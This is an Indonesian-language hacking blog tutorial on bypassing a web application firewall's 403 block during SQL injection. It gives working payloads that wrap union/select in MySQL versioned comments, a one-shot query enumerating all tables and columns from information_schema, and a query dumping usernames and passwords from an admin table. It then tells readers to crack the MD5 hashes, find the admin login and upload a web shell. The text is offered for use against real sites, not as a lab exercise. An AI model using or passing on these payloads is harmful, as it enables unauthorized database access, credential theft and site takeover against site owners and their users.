[SQLi] Tutorial SQL inject Bypass forbidden 403 - W4FXploit

 

Hello world...

Mungkin diantara kalian ada yang mengalami tiba² forbidden 403 pas mau masukin query union+select

awalnya admin juga bingung pas awal² maen Sqli nah ternyata bisa dengan cara mem bypass

langsung ae ke intinya...

nah cara target admin nih kena WAF pas masukin query union+select

jadi tinggal tambahkan mysql-comment nya 

/*!union*/+/*!select*/

http://site.com/tables.php?id=-1'+/*!union*/+/*!select*/+jumlah+Collum--+-

nah ntar muncul Angka togel nya 

tinggal masukin dios nya 

Click me

 

Eh tunggu...

ternyata beberapa juga ada pas masukin kode dios nya juga kena 403 forbidden lagi...

caranya gimana ?

tinggal kita bypass ajh di dios nya

/*!union*/+/*!select*/+1,2,3,/*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!12345table_name*/,/*!12345column_name*/)),@)

Alhamdulillah bisa awokawokawokawok awokawokawokawok

sekarang tinggal kita dump ajh username ama Password nya 

/*!union*/+/*!select*/+1,2,3,/*!12345make_set*/(6,@:=0x0a,(select(1)/*!12345from*/(/*!12345admin*/)where@:=make_set(511,@,0x3c6c693e,/*!12345username*/,/*!12345password*/)),@)

nah jika berupa hash md5 klian hash dulu di md5 hash decrypter 

terus cari admin login nya dan upload shell 

segitu ae tutorial kali ini semoga bermanfaat

jangan lupa share ke temen mu jika mengalami masalah yang sama 

See you again...